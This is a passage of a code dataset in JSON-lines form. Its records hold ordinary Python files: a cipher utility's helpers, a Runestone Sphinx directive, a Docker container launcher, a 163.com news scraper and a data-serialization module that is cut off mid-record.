convert the ngrams into lists of positional index frequencies\n i = 0\n for x in most_frequent_ngrams_data:\n most_frequent_ngrams_data[i] = ngram_to_positional_index.get(x)\n i += 1\n\n i = 0\n for x in most_frequent_ngrams_english:\n most_frequent_ngrams_english[i] = ngram_to_positional_index.get(x)\n i+= 1\n\n\n\n # This inner function returns a value between 0 and 1 indicating how close these two lists are. Take into account\n # ordering of the lists. Lists must be the same size\n def similarity_of_two_integer_lists(x, y):\n \"\"\"\n Figure out how close these values are\n\n :param x: (list) one of the lists to compare to\n :param y: (list) another of the list to compare to\n :return: (float) value between 0 and 1 indicating the similarity\n \"\"\"\n\n # Size of the arrays\n size = len(y)\n\n # Add points to this\n total_points = 0\n\n for i in range(size):\n points_this_index = 1 / size\n\n # Figure out the distance between x[i] and that value in y. If does not exist, 0 points\n if x[i] not in y:\n continue\n\n # At this point, x[i] is in y at some index j. Find abs(i - j)\n j = y.index(x[i])\n difference = abs(i - j)\n\n # Find out difference as a proportion of the overall length of the list\n difference = difference / size\n\n # Calculate the amount of points for x[i]\n points_this_index = points_this_index * (1 - difference)\n\n # Add to total points\n total_points = total_points + points_this_index\n\n return total_points\n\n\n \"\"\"\n # Obtain the similarity between most frequent ngrams of data and of english\n similarity = difflib.SequenceMatcher(None, most_frequent_ngrams_data, most_frequent_ngrams_english)\n similarity_english = similarity.ratio()\n \"\"\"\n\n similarity_english = similarity_of_two_integer_lists(most_frequent_ngrams_data, most_frequent_ngrams_english)\n # If text is in english\n if similarity_english >= similarity_english_threshold:\n return True, similarity_english\n\n else:\n return False, similarity_english\n\n\n\n\n\n\n\n\n\n\n\n############################################################################################ HELPER FUNCTIONS ##########\n\n# This helper function asks the user for a character set. It will only accept character sets that are available.\ndef _take_char_set(char_sets):\n \"\"\"\n This functions asks the user to input a selection(a char set). THis selection is compared against char_sets\n in order to make sure that it is a valid selection\n\n :param char_sets: (list) the list of all character sets\n :return: (string) the user-entered character set\n :return: (integer) the number of characters in the selected character set\n \"\"\"\n\n\n previous_entry_invalid = False\n # TAKE AN INPUT FOR THE CHARACTER SET\n while True:\n\n # Print out the prompt for the user. If the previous entry was invalid, say so\n if not previous_entry_invalid:\n selection = input(\"Enter the character set to be used: \")\n else:\n selection = input(\"Character set invalid! Enter a new character set: \")\n previous_entry_invalid = False\n\n # Print out the available character sets, then continue\n if selection[0:4] == \"info\":\n print(\"The available character sets are: \")\n for x in range(0, len(char_sets)):\n print(\" \" + char_sets[x])\n continue\n\n # Test that the user entry is a valid character set. If so, exit out of the forever loop\n for x in range(0, len(char_sets)):\n broken = False\n if selection.rstrip() == char_sets[x]:\n broken = True\n break\n if broken:\n break\n\n # If here, that means the entry was invalid. Loop again\n previous_entry_invalid = True\n # END OF FOREVER LOOP TO TAKE A CHARACTER SET\n\n\n\n # figure out the end_char of the character set\n end_char = char_set_to_char_set_size.get(selection)\n\n return selection, end_char\n\n\n# This helper function asks the user for a character encoding scheme. It will only accept character sets that are available.\ndef _take_char_encoding_scheme(char_encoding_schemes):\n \"\"\"\n This functions asks the user to input a selection(a char encoding scheme. The selection is compared against hte\n given list to ensure that it is a legitimate selection\n\n :param char_encoding_schemes: (list) the list of all character encoding schemes\n :return: (string) the user-entered character set\n :return: (integer) the number of characters in the selected character set\n \"\"\"\n\n\n previous_entry_invalid = False\n # TAKE AN INPUT FOR THE CHARACTER SET\n while True:\n\n # Print out the prompt for the user. If the previous entry was invalid, say so\n if not previous_entry_invalid:\n selection = input(\"Enter the character encoding scheme to be used: \")\n else:\n selection = input(\"Character encoding scheme invalid! Enter a new scheme: \")\n previous_entry_invalid = False\n\n # Print out the available character sets, then continue\n if selection[0:4] == \"info\":\n print(\"The available character encoding schemes are: \")\n for x in range(0, len(char_encoding_schemes)):\n print(\" \" + char_encoding_schemes[x])\n continue\n\n # Test that the user entry is a valid character set. If so, exit out of the forever loop\n for x in range(0, len(char_encoding_schemes)):\n broken = False\n if selection.rstrip() == char_encoding_schemes[x]:\n broken = True\n break\n if broken:\n break\n\n # If here, that means the entry was invalid. Loop again\n previous_entry_invalid = True\n # END OF FOREVER LOOP TO TAKE A CHARACTER SET\n\n\n\n # figure out the end_char of the character encoding scheme\n end_char = char_set_to_char_set_size.get(selection)\n\n return selection, end_char\n\n\n\n\n# This helper function obtain a single char key from the user and returns that\ndef _get_single_char_key():\n \"\"\"\n This function obtains a key from the user that must be a single character\n\n :return: (string) the single character key\n \"\"\"\n\n # TAKE A KEY\n key = input(\"Enter a key (single character only): \")\n\n # IF THE USER DID NOT GIVE ANYTHING, SEND AN ERROR MESSAGE AND FORCE THE USER TO ENTER IT AGAN\n while key == \"\":\n key = input(\"No key given! Enter a key (single character only): \")\n\n # IF THE USER DID NOT GIVE A SINGLE CHARACTER, FORCE THE USER TO ENTER IT AGAN\n while not len(key) == 1:\n key = input(\"Not a single character! Enter a key (single character only): \")\n\n return key\n\n\n\n# This help function obtains a general key from the user and returns that\ndef _get_general_key():\n \"\"\"\n This function obtains a key of any length fro the user\n\n :return: (string) the user-entered key\n \"\"\"\n\n # TAKE A KEY\n key = input(\"Enter a key: \")\n\n # IF THE USER DID NOT GIVE ANYTHING, SEND AN ERROR MESSAGE AND FORCE THE USER TO ENTER IT AGAN\n while key == \"\":\n key = input(\"No key given! Enter a key (single character only): \")\n\n return key\n\n\n\n# This helper function gets a public key from the user. If the user wants to generate keys, then input() is blank\ndef _get_public_key():\n \"\"\"\n This function obtains a public key from the user. If nothing entered, then the user wants to generate a key.\n\n :return: (string) the user-entered key\n \"\"\"\n\n # Take a key\n key = input(\"Enter a public key (Leave empty to generate public/private keys): \")\n\n return key\n\n\n\n\n\n# This helper function executes the specified encryption/decryption type and writes to a file encryption/decryption stat\ndef _execute_and_write_info(data, key, char_set, output_location, package, module, encrypt_decrypt):\n \"\"\"\n This function executes the specified encryption/decryption method\n\n :param data: (string) the data to be encrypted/decrypted\n :param key: (string) the key to encrypt/decrypt with\n :param char_set: (string) the character set to be used\n :param output_location: (string) the location to write statistics and relevant information to\n :param package: (string) the package in which our encryption method is located in\n :param module: (string) the module in which our encryption method is located in\n :param encrypt_decrypt: (string) specifies encryption or decryption\n :return: (string) the encrypted/decrypted text\n \"\"\"\n\n # START THE TIMER\n start_time = time.time()\n\n # Obtain num_chars to use in the encryption method\n num_chars = char_set_to_char_set_size.get(char_set)\n\n # EXECUTE THE ENCRYPTION/DECRYPTION METHOD\n exec(\"from \" + package + \" import \" + module)\n encrypted = eval(module + \".\" + encrypt_decrypt + \"(data, key, num_chars)\")\n\n # END THE TIMER\n elapsed_time = time.time() - start_time\n\n\n # WRITE TO A NEW FILE CONTAINING RELEVANT INFO\n new_file = open(output_location + \"_(Relevant information)\", \"w\", encoding=\"utf-8\")\n new_file.writelines([\"The encryption/decryption type is: \" + module,\n \"\\nThe character set is : \" + char_set,\n \"\\nThe key is: \" + key,\n \"\\n\" + encrypt_decrypt + \"ed in: \" + str(elapsed_time) + \" seconds.\",\n \"\\n That is \" + str((elapsed_time / len(data) )) + \" seconds per character.\"\n \"\\n That is \" + str((elapsed_time/len(data) * 1000000))\n + \" microseconds per character.\"])\n new_file.close()\n\n return encrypted\n\n\n# This helper function executes the decryption/encryption types without a key and writes stats and info to a file\ndef _execute_and_write_info_no_key(data, key, char_set, output_location, package, module, encrypt_decrypt):\n \"\"\"\n This function executes the correct decryption method. This also figures out the key and char set and writes info to\n a file\n\n :param data: (string) the ciphertext to decrypt\n :param output_location: (string) the file to write info into\n :param package: (string) the package that the decryption function is located in\n :param module: (string) the module that the decryption function is in\n :return: (string) the decrypted text\n \"\"\"\n\n\n # START THE TIMER and decrypt\n start_time = time.time()\n exec(\"from \" + package + \" import \" + module)\n deciphered, char_set, key = eval(module + \".\" + encrypt_decrypt + \"(data, key, char_set)\")\n elapsed_time = time.time() - start_time\n\n\n # WRITE TO A NEW FILE CONTAINING RELEVANT INFO\n new_file = open(output_location + \"_(Relevant information)\", \"w\", encoding=\"utf-8\")\n new_file.writelines([\"The \" + encrypt_decrypt + \"tion type is: \" + module,\n \"\\nThe character set is : \" + char_set,\n \"\\nThe key is: \" + key,\n \"\\n\" + encrypt_decrypt + \"ed in: \" + str(elapsed_time) + \" seconds.\",\n \"\\n That is \" + str((elapsed_time / len(data) )) + \" seconds per character.\"\n \"\\n That is \" + str((elapsed_time/len(data) * 1000000))\n + \" microseconds per character.\"])\n new_file.close()\n\n return deciphered\n\n\n\n# This helper function executes the encryption types that generate asymmetric keys. Also, write down info\ndef _execute_encrypt_and_write_info_asymmetric_keys(data, key, char_encoding_scheme, output_location, package, module, encrypt_decrypt):\n \"\"\"\n This function executes the correct decryption method. This also figures out the key and char set and writes info to\n a file\n\n :param data: (string) the ciphertext to decrypt\n :param key: (string) NOT USED\n :paraim char_encoding_scheme: (string) the type of encoding scheme to use\n :param output_location: (string) the file to write info into\n :param package: (string) the package that the decryption function is located in\n :param module: (string) the module that the decryption function is in\n :return: (string) the decrypted text\n \"\"\"\n\n\n # Obtain num_chars to use in the encryption method\n num_chars = char_set_to_char_set_size.get(char_encoding_scheme)\n\n # START THE TIMER and encrypt with the correct char_encoding_scheme\n start_time = time.time()\n exec(\"from \" + package + \" import \" + module)\n encrypted, public_key, private_key = eval(module + \".encrypt(data, key ,num_chars)\")\n elapsed_time = time.time() - start_time\n\n\n # WRITE TO A NEW FILE CONTAINING RELEVANT INFO\n new_file = open(output_location + \"_(Relevant information)\", \"w\", encoding=\"utf-8\")\n new_file.writelines([\"The encryption type is: \" + module,\n \"\\n\\nThe public key is: \" + public_key,\n \"\\n\\nThe private key is: \" + private_key,\n \"\\n\\nEncrypted in: \" + str(elapsed_time) + \" seconds.\",\n \"\\n That is \" + str((elapsed_time / len(data) )) + \" seconds per character.\"\n \"\\n That is \" + str((elapsed_time/len(data) * 1000000))\n + \" microseconds per character.\"])\n new_file.close()\n\n return encrypted\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "sub_path": "miscellaneous.py", "file_name": "miscellaneous.py", "file_ext": "py", "file_size_in_byte": 39786, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "base64.b16encode", "line_number": 268, "usage_type": "call"}, {"api_name": "base64.b32encode", "line_number": 276, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 285, "usage_type": "call"}, {"api_name": "base64.b85encode", "line_number": 295, "usage_type": "call"}, {"api_name": "base64.b16encode", "line_number": 341, "usage_type": "call"}, {"api_name": "base64.b32encode", "line_number": 349, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 358, "usage_type": "call"}, {"api_name": "base64.b85encode", "line_number": 368, "usage_type": "call"}, {"api_name": "base64.b16decode", "line_number": 407, "usage_type": "call"}, {"api_name": "base64.b32decode", "line_number": 412, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 417, "usage_type": "call"}, {"api_name": "base64.b85decode", "line_number": 422, "usage_type": "call"}, {"api_name": "itertools.count", "line_number": 472, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 473, "usage_type": "call"}, {"api_name": "random.randrange", "line_number": 517, "usage_type": "call"}, {"api_name": "csv.DictReader", "line_number": 674, "usage_type": "call"}, {"api_name": "time.time", "line_number": 968, "usage_type": "call"}, {"api_name": "time.time", "line_number": 978, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1010, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1013, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1051, "usage_type": "call"}, {"api_name": "time.time", "line_number": 1054, "usage_type": "call"}]} +{"seq_id": "285258687", "text": "# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /srv/RunestoneComponents/runestone/clickableArea/clickable.py\n# Compiled at: 2020-04-16 12:40:55\n# Size of source mod 2**32: 6644 bytes\n__author__ = 'isaiahmayerchak'\nfrom docutils import nodes\nfrom docutils.parsers.rst import directives\nfrom runestone.server.componentdb import addQuestionToDB, addHTMLToDB\nfrom runestone.common.runestonedirective import RunestoneIdDirective, RunestoneNode\n\ndef setup(app):\n app.add_directive('clickablearea', ClickableArea)\n app.add_node(ClickableAreaNode, html=(visit_ca_node, depart_ca_node))\n app.add_config_value('clickable_div_class', 'runestone alert alert-warning', 'html')\n\n\nTEMPLATE = '\\n

\\n
\\n%(qnumber)s: %(question)s%(feedback)s%(clickcode)s\\n'\nTEMPLATE_END = '\\n
\\n
\\n'\n\nclass ClickableAreaNode(nodes.General, nodes.Element, RunestoneNode):\n\n def __init__(self, content, **kwargs):\n (super(ClickableAreaNode, self).__init__)(**kwargs)\n self.ca_options = content\n\n\ndef visit_ca_node(self, node):\n res = TEMPLATE\n node.delimiter = '_start__{}_'.format(node.ca_options['divid'])\n self.body.append(node.delimiter)\n if 'feedback' in node.ca_options:\n node.ca_options['feedback'] = '' + node.ca_options['feedback'] + ''\n else:\n node.ca_options['feedback'] = ''\n if 'iscode' not in node.ca_options:\n node.ca_options['correct'] = 'data-cc=\"' + node.ca_options['correct'] + '\"'\n node.ca_options['incorrect'] = 'data-ci=\"' + node.ca_options['incorrect'] + '\"'\n else:\n node.ca_options['correct'] = ''\n node.ca_options['incorrect'] = ''\n res = res % node.ca_options\n self.body.append(res)\n\n\ndef depart_ca_node(self, node):\n res = ''\n res = TEMPLATE_END % node.ca_options\n self.body.append(res)\n addHTMLToDB(node.ca_options['divid'], node.ca_options['basecourse'], ''.join(self.body[self.body.index(node.delimiter) + 1:]))\n self.body.remove(node.delimiter)\n\n\nclass ClickableArea(RunestoneIdDirective):\n __doc__ = \"\\n.. clickablearea:: identifier\\n :question: Question text\\n :feedback: Optional feedback for incorrect answer\\n :iscode: Boolean that if present will put the content into a 
\\n    :table: Boolean that indicates that the content is a table.\\n    :correct: An array of the indices of the correct elements, separated by semicolons--if this is a table, each item in the array is a tuple\\n    with the first number being the row and the second number being the column--use a column number of 0 to make the whole row correct (ex: 1,2;3,0 makes the 2nd data cell in the first row correct as well as the entire 3rd row)\\n    :incorrect: An array of the indices of the incorrect elements--same format as the correct elements.\\n\\n    --Content--\\n\\n\\nconfig values (conf.py):\\n\\n- clickable_div_class - custom CSS class of the component's outermost div\\n    \"\n    required_arguments = 1\n    optional_arguments = 0\n    has_content = True\n    final_argument_whitespace = True\n    option_spec = RunestoneIdDirective.option_spec.copy()\n    option_spec.update({'question':directives.unchanged, \n     'feedback':directives.unchanged, \n     'iscode':directives.flag, \n     'correct':directives.unchanged, \n     'incorrect':directives.unchanged, \n     'table':directives.flag})\n\n    def run(self):\n        super(ClickableArea, self).run()\n        addQuestionToDB(self)\n        self.assert_has_content()\n        if 'iscode' in self.options:\n            source = '\\n'.join(self.content)\n            source = source.replace(':click-correct:', '')\n            source = source.replace(':click-incorrect:', '')\n            source = source.replace(':endclick:', '')\n            source = '
' + source + '
'\n            self.options['clickcode'] = source\n        else:\n            self.options['clickcode'] = ''\n        clickNode = ClickableAreaNode((self.options), rawsource=(self.block_text))\n        clickNode.source, clickNode.line = self.state_machine.get_source_and_line(self.lineno)\n        clickNode.template_start = TEMPLATE\n        if 'table' in self.options:\n            self.options['table'] = 'data-table'\n        else:\n            self.options['table'] = ''\n        if 'iscode' not in self.options:\n            self.state.nested_parse(self.content, self.content_offset, clickNode)\n        env = self.state.document.settings.env\n        self.options['divclass'] = env.config.clickable_div_class\n        return [\n         clickNode]", "sub_path": "pycfiles/runestone-4.2.6-py2.py3-none-any/clickable.cpython-37.py", "file_name": "clickable.cpython-37.py", "file_ext": "py", "file_size_in_byte": 4801, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "docutils.nodes.General", "line_number": 23, "usage_type": "attribute"}, {"api_name": "docutils.nodes", "line_number": 23, "usage_type": "name"}, {"api_name": "docutils.nodes.Element", "line_number": 23, "usage_type": "attribute"}, {"api_name": "runestone.common.runestonedirective.RunestoneNode", "line_number": 23, "usage_type": "name"}, {"api_name": "runestone.server.componentdb.addHTMLToDB", "line_number": 52, "usage_type": "call"}, {"api_name": "runestone.common.runestonedirective.RunestoneIdDirective", "line_number": 56, "usage_type": "name"}, {"api_name": "runestone.common.runestonedirective.RunestoneIdDirective.option_spec.copy", "line_number": 62, "usage_type": "call"}, {"api_name": "runestone.common.runestonedirective.RunestoneIdDirective.option_spec", "line_number": 62, "usage_type": "attribute"}, {"api_name": "runestone.common.runestonedirective.RunestoneIdDirective", "line_number": 62, "usage_type": "name"}, {"api_name": "docutils.parsers.rst.directives.unchanged", "line_number": 63, "usage_type": "attribute"}, {"api_name": "docutils.parsers.rst.directives", "line_number": 63, "usage_type": "name"}, {"api_name": "docutils.parsers.rst.directives.unchanged", "line_number": 64, "usage_type": "attribute"}, {"api_name": "docutils.parsers.rst.directives", "line_number": 64, "usage_type": "name"}, {"api_name": "docutils.parsers.rst.directives.flag", "line_number": 65, "usage_type": "attribute"}, {"api_name": "docutils.parsers.rst.directives", "line_number": 65, "usage_type": "name"}, {"api_name": "docutils.parsers.rst.directives.unchanged", "line_number": 66, "usage_type": "attribute"}, {"api_name": "docutils.parsers.rst.directives", "line_number": 66, "usage_type": "name"}, {"api_name": "docutils.parsers.rst.directives.unchanged", "line_number": 67, "usage_type": "attribute"}, {"api_name": "docutils.parsers.rst.directives", "line_number": 67, "usage_type": "name"}, {"api_name": "docutils.parsers.rst.directives.flag", "line_number": 68, "usage_type": "attribute"}, {"api_name": "docutils.parsers.rst.directives", "line_number": 68, "usage_type": "name"}, {"api_name": "runestone.server.componentdb.addQuestionToDB", "line_number": 72, "usage_type": "call"}]}
+{"seq_id": "391024041", "text": "from util import get_engine\nimport pandas as pd\nfrom argparse import ArgumentParser\nimport docker\n\nIMAGE_NAME = 'ecs289m/testing'\n\ndef parse_args():\n    parser = ArgumentParser()\n    parser.add_argument('--build', action=\"store_true\", help='Build docker images')\n    parser.add_argument('--runAll', action=\"store_true\", help='Run all docker containers')\n    args = parser.parse_args()\n    return args, parser\n\ndef build_image():\n    # get docker client and build image\n    client = docker.from_env()\n    client.images.build(path='.', tag=IMAGE_NAME, rm=True)\n\ndef run_containers():\n    # get docker client\n    client = docker.from_env()\n\n    # get db connection\n    engine = get_engine()\n\n    # fetch channels and queries from db\n    crawls = pd.read_sql('crawls', con=engine)\n\n    for crawl in crawls.itertuples():\n        client.containers.run(IMAGE_NAME, ['python', 'hb-testing.py', crawl.Filename, crawl.Category], shm_size=\"512M\", remove=True, detach=True)\n\ndef main():\n\n    args, parser = parse_args()\n\n    if args.build:\n        print(\"Starting docker build...\")\n        build_image()\n        print(\"Build complete!\")\n    \n    if args.runAll:\n        print(\"Starting containers...\")\n        run_containers()\n        print(\"Started!\")\n\n    if not args.build and not args.runAll:\n        parser.print_help()\n\n\nif __name__ == '__main__':\n    main()\n", "sub_path": "3-hb-and-interest-segments-crawling/docker-api.py", "file_name": "docker-api.py", "file_ext": "py", "file_size_in_byte": 1353, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 9, "usage_type": "call"}, {"api_name": "docker.from_env", "line_number": 17, "usage_type": "call"}, {"api_name": "docker.from_env", "line_number": 22, "usage_type": "call"}, {"api_name": "util.get_engine", "line_number": 25, "usage_type": "call"}, {"api_name": "pandas.read_sql", "line_number": 28, "usage_type": "call"}]}
+{"seq_id": "402126157", "text": "\nfrom bs4 import BeautifulSoup\nimport requests\nimport time\n\npage_urls = []\nnew_page_Infos = []\n\ndef StringListSave(save_path, filename, slist):\n    pass\n\n#2级页面\ndef New_Page_Info(url):\n    new_page = requests.get(url)\n    soup = BeautifulSoup(new_page.text, 'lxml')\n    #active_ranks = soup.select('div.title-tab > ul.tabNav > li.active')\n    #active_contens = soup.select('div.tabBox > div.tabContents.active')\n    new_items = soup.select('td > a')\n    new_clicks = soup.select('tr > td.cBlue')\n    for item, click in zip(new_items, new_clicks):\n        data = {\n            'title': item.get_text(),\n            'url': item.get('href'),\n            'clicks': click.get_text()\n        }\n        new_page_Infos.append(data)\n    time.sleep(1)\n\n#1级页面\ndef Page_Info(url):\n    urls = []\n    my_page = requests.get(url)\n    soup = BeautifulSoup(my_page.text, 'lxml')\n    more_titles = soup.select('div.titleBar > div > a')\n    for item in more_titles:\n        more_url = item.get('href')\n        urls.append(more_url)\n    return urls\n\n\ndef Spider(url):\n    print('downloading ' + url)\n    page_urls = Page_Info(url)\n    for page_url in page_urls:\n        New_Page_Info(page_url)\n  #  print(new_page_Infos)\n\n\n\n\n# if __name__ == '__main__':\n#     print('start')\n#     start_url = 'http://news.163.com/rank/'\n#     Spider(start_url)\n#     print('end')\n\n#start_url = 'http://news.163.com/rank/'\n#Spider(start_url)\n\n", "sub_path": "spiders/163news/news.py", "file_name": "news.py", "file_ext": "py", "file_size_in_byte": 1417, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "requests.get", "line_number": 14, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 15, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 27, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 32, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 33, "usage_type": "call"}]}
+{"seq_id": "613202347", "text": "from enum import Enum\nfrom .utils import putget\nimport math\nfrom datetime import datetime\nfrom . import cortex_pb2 as proto\n\n\nclass Gender(Enum):\n    Male = 0\n    Female = 1\n    Other = 2\n\n\nclass Fields(Enum):\n    Translation = b\"translation\"\n    Rotation = b\"rotation\"\n    Image = b\"image\"\n    Depth = b\"depth\"\n    Feelings = b\"feelings\"\n\n\nclass User():\n    def __init__(self, idval, name, birthdate, gender):\n        self.id = idval\n        self.name = name\n        self.birthdate = birthdate\n        self.gender = gender\n\n    def serialize_to(self, f):\n        putget.put_uint32(f, self.id)\n        putget.put_bytes_with_len(f, self.name.encode())\n        putget.put_uint32(f, math.floor(self.birthdate.timestamp()))\n\n        if self.gender == Gender.Male:\n            putget.put_bytes(f, b\"m\")\n        elif self.gender == Gender.Female:\n            putget.put_bytes(f, b\"f\")\n        else:\n            putget.put_bytes(f, b\"o\")\n\n    @classmethod\n    def deserialize_from(cls, f):\n        idval = putget.get_uint32(f)\n        name = putget.get_bytes_with_len(f).decode()\n        timestamp = putget.get_uint32(f)\n        birthdate = datetime.fromtimestamp(timestamp)\n\n        gender_byte = putget.get_bytes(f, 1)\n\n        # TODO: handle unknown gender\n        gender = Gender.Male if gender_byte == b\"m\" else \\\n            Gender.Female if gender_byte == b\"f\" else \\\n            Gender.Other\n\n        return cls(idval, name, birthdate, gender)\n\n\nclass Snapshot():\n    def __init__(self, timestamp_milli, translation,\n                 rotation, img, depth, feelings):\n\n        self.timestamp_milli = timestamp_milli\n        self.translation = translation\n        self.rotation = rotation\n        self.img = img\n        self.depth = depth\n        self.feelings = feelings\n\n    def serialize_to(self, f, fields):\n        putget.put_uint64(f, self.timestamp_milli)\n\n        translation_data = self.translation \\\n            if Fields.Translation in fields \\\n            else (0, 0, 0)\n\n        putget.put_iter(f, putget.put_float64, translation_data)\n\n        rotation_data = self.rotation \\\n            if Fields.Rotation in fields \\\n            else (0, 0, 0, 0)\n\n        putget.put_iter(f, putget.put_float64, rotation_data)\n\n        if Fields.Image in fields:\n            self.img.serialize(f)\n        else:\n            putget.put_iter(f, putget.put_uint32, (0, 0))\n\n        if Fields.Depth in fields:\n            self.depth.serialize(f)\n        else:\n            putget.put_iter(f, putget.put_uint32, (0, 0))\n\n        if Fields.Feelings in fields:\n            self.feelings.serialize(f)\n        else:\n            putget.put_iter(f, putget.put_float32, (0, 0, 0, 0))\n\n    @classmethod\n    def deserialize_from(cls, f):\n        timestamp_milli = putget.get_uint64(f)\n        translation = putget.get_iter(f, putget.get_float64, tuple, 3)\n        rotation = putget.get_iter(f, putget.get_float64, tuple, 4)\n        img = Image.deserialize(f)\n        depth = Depth.deserialize(f)\n        feelings = Feelings.deserialize(f)\n        return cls(timestamp_milli, translation,\n                   rotation, img, depth, feelings)\n\n\nclass Image():\n    def __init__(self, width, height, data):\n        self.width = width\n        self.height = height\n        self.data = data\n\n    def serialize_to(self, f):\n        putget.put_uint32(f, self.width)\n        putget.put_uint32(f, self.height)\n        putget.put_bytes(f, self.data)\n\n    @classmethod\n    def deserialize_from(cls, f):\n        width = putget.get_uint32(f)\n        height = putget.get_uint32(f)\n        data = putget.get_bytes(f, 3*width*height)\n        return cls(width, height, data)\n\n\nclass Depth():\n    def __init__(self, width, height, data):\n        self.width = width\n        self.height = height\n        self.data = data\n\n    def serialize_to(self, f):\n        putget.put_uint32(f, self.width)\n        putget.put_uint32(f, self.height)\n        putget.put_iter(f, putget.put_float32, self.data)\n\n    @classmethod\n    def deserialize_from(cls, f):\n        width = putget.get_uint32(f)\n        height = putget.get_uint32(f)\n        data = putget.get_iter(f, putget.get_float32, list, width*height)\n        return cls(width, height, data)\n\n\nclass Feelings():\n    def __init__(self, hunger, thirst, exhaustion, happiness):\n        self.hunger = hunger\n        self.thirst = thirst\n        self.exhaustion = exhaustion\n        self.happiness = happiness\n\n    def serialize_to(self, f):\n        putget.put_float32(f, self.hunger)\n        putget.put_float32(f, self.thirst)\n        putget.put_float32(f, self.exhaustion)\n        putget.put_float32(f, self.happiness)\n\n    @classmethod\n    def deserialize_from(cls, f):\n        hunger = putget.get_float32(f)\n        thirst = putget.get_float32(f)\n        exhaustion = putget.get_float32(f)\n        happiness = putget.get_float32(f)\n        return cls(hunger, thirst, exhaustion, happiness)\n\n\ndef translate_gender(proto_gender):\n    if proto_gender == proto.User.Gender.MALE:\n        return Gender.Male\n    elif proto_gender == proto.User.Gender.FEMALE:\n        return Gender.Female\n    elif proto_gender == proto.User.Gender.OTHER:\n        return Gender.Other\n    else:\n        raise ValueError(\n            \"translate_gender: unrecognized gender from protobuf data\")\n", "sub_path": "asd/data_types.py", "file_name": "data_types.py", "file_ext": "py", "file_size_in_byte": 5268, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "enum.Enum", "line_number": 8, "usage_type": "name"}, {"api_name": "enum.Enum", "line_number": 14, "usage_type": "name"}, {"api_name": "utils.putget.put_uint32", "line_number": 30, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 30, "usage_type": "name"}, {"api_name": "utils.putget.put_bytes_with_len", "line_number": 31, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 31, "usage_type": "name"}, {"api_name": "utils.putget.put_uint32", "line_number": 32, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 32, "usage_type": "name"}, {"api_name": "math.floor", "line_number": 32, "usage_type": "call"}, {"api_name": "utils.putget.put_bytes", "line_number": 35, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 35, "usage_type": "name"}, {"api_name": "utils.putget.put_bytes", "line_number": 37, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 37, "usage_type": "name"}, {"api_name": "utils.putget.put_bytes", "line_number": 39, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 39, "usage_type": "name"}, {"api_name": "utils.putget.get_uint32", "line_number": 43, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 43, "usage_type": "name"}, {"api_name": "utils.putget.get_bytes_with_len", "line_number": 44, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 44, "usage_type": "name"}, {"api_name": "utils.putget.get_uint32", "line_number": 45, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 45, "usage_type": "name"}, {"api_name": "datetime.datetime.fromtimestamp", "line_number": 46, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 46, "usage_type": "name"}, {"api_name": "utils.putget.get_bytes", "line_number": 48, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 48, "usage_type": "name"}, {"api_name": "utils.putget.put_uint64", "line_number": 70, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 70, "usage_type": "name"}, {"api_name": "utils.putget.put_iter", "line_number": 76, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 76, "usage_type": "name"}, {"api_name": "utils.putget.put_float64", "line_number": 76, "usage_type": "attribute"}, {"api_name": "utils.putget.put_iter", "line_number": 82, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 82, "usage_type": "name"}, {"api_name": "utils.putget.put_float64", "line_number": 82, "usage_type": "attribute"}, {"api_name": "utils.putget.put_iter", "line_number": 87, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 87, "usage_type": "name"}, {"api_name": "utils.putget.put_uint32", "line_number": 87, "usage_type": "attribute"}, {"api_name": "utils.putget.put_iter", "line_number": 92, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 92, "usage_type": "name"}, {"api_name": "utils.putget.put_uint32", "line_number": 92, "usage_type": "attribute"}, {"api_name": "utils.putget.put_iter", "line_number": 97, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 97, "usage_type": "name"}, {"api_name": "utils.putget.put_float32", "line_number": 97, "usage_type": "attribute"}, {"api_name": "utils.putget.get_uint64", "line_number": 101, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 101, "usage_type": "name"}, {"api_name": "utils.putget.get_iter", "line_number": 102, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 102, "usage_type": "name"}, {"api_name": "utils.putget.get_float64", "line_number": 102, "usage_type": "attribute"}, {"api_name": "utils.putget.get_iter", "line_number": 103, "usage_type": "call"}, {"api_name": "utils.putget", "line_number": 103, "usage_type": "name"}, {"api_name": 